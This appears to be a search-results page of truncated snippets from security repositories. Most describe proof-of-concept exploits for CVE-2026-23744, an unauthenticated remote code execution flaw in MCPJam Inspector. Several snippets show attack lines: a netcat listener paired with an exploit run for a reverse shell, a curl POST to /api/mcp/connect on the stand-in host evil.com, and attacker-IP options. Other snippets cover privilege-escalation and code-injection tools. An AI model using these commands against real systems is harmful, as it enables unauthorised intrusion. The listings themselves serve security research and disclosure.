CVE-2026-23744

CVE-2026-23744: @mcpjam/inspector의 인증되지 않은 원격 코드 실행 면책 조항: 이 저장소와 관련 스크립트는 공인된 보안 평가, 침투 테스트, 보안 연구 및 교육적 분석 목적으로만 제공됩니다. 명시적인 서면 동의 없이 시스템을 무단 테스트하는 것은 불법이며 엄격히 금지됩니다. 저자는 본 자료의 오해 또는 오용으로 인한 어떠한 책임도 지지 않습니다. 취약점 개요 속성| 세부 정보 ---|--- CVE ID| CVE-2026-23744 CVSS 점수| 9.8 치명적 취약점 분류| 중요 기능에 대한 인증 누...

Inspector

Privilege Escalation unix helper SUMMARY Inspector is a python script for help in privilege escalation, for linux environement. After starting, this script search the kernel version and check if is exploit exists, load file history bash,zsh,mysql... and load list of programs loaded with root user...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2에서의 RCE 취약점 세부 정보 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 사용법 root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message a...

jscythe

jscythe использует механизм инспектора node.js для принудительного выполнения произвольного javascript-кода любым процессом на основе node.js/electron/v8, даже если его возможности отладки отключены. Протестировано и работает с Visual Studio Code, Discord, любыми Node.js-приложениями и не только!...

MCP Inspector < 0.14.0 UnauthenticatedRemote Code Execution

The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio. id...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

gadgetinspector

Gadget Inspector This project inspects Java libraries and classpaths for gadget chains. Gadgets chains are used to construct exploits for deserialization vulnerabilities. By automatically discovering possible gadgets chains in an application's classpath penetration testers can quickly construct...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 MCPJam Inspector 参考 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-script

A script for CVE-2026-23744, which exploits MCPJam Inspector versions = 1.4.2. Based off the curl command used here: https://github.com/advisories/GHSA-232v-j27c-5pp6 Make sure your /etc/hosts file is correct and points to the domain/vhost of the target...

inspector-gadget

inspector-gadget root@kitploit: Go Go Gadget Exploit! ..--"\ |""--.. .-' \ | '-. / |...----'\ |,,..--""--.. | '\ .--'.I. ''--..' ''",JGS/|,---' ,' .::-. ', ' ,'-;oIo;-', ' - | = | | | ; .. ; ..-;|\ - /|;-. -' / \// \ '- / ; /-'; \ ; .--| |O O |'-./ ; |/ \ ;OO/ | | \ II / | \ / |O O \ / / | ...

RAR-Anomaly-Inspector

RAR Anomaly Inspector RAR Anomaly Inspector is a read-only PowerShell tool for static inspection of RAR archives , designed to detect path traversal anomalies related to CVE-2025-8088 WinRAR RAR5 Path Traversal. The tool does not extract or execute archive contents. Features Static, read-only...

CVE-2026-23744-PoC

CVE-2026-23744-PoC Disclaimer: This proof-of-concept is provided exclusively for authorised security research, educational purposes, and controlled lab environments e.g., HTB, CTF, or internal penetration testing with explicit written consent. Unauthorised use against any system without permissio...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector Remote-Code-Execution: использование Proof Of Concept POC: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

sur kali linux - terminal 1 nc -lvnp 4444 sur kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector Unauthenticated Remote Code Execution RCE Description Product : MCPJam Inspector Affected versions : ≤ 1.4.2 Fixed version : 1.4.3 Type : Unauthenticated Remote Code Execution RCE Attack vector : Network Authentication required : No User interaction required : No...

DevHub-HTB-Walkthrough

DevHub – HTB 워크스루 Medium Linux 머신: DevHub 난이도: Medium OS: Linux 주제: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root 권한 상승 📌 1. 정찰 root@kitploit: nmap -sC -sV devhub.htb 결과: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Hosts 파일 수정 echo "10.x.x.x devhub.htb" /etc/hosts 📌 3...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC об уязвимости в MCP Server. автоматизировано для части POST-запроса с правильным телом. уязвимый путь: root@kitploit: /api/mcp/connect метод с помощью curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744

CVE-2026-23744 Description MCPJam inspector is a local-first development platform for MCP servers. The versions =1.4.2 are vulnerable to remote code execution vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Fo...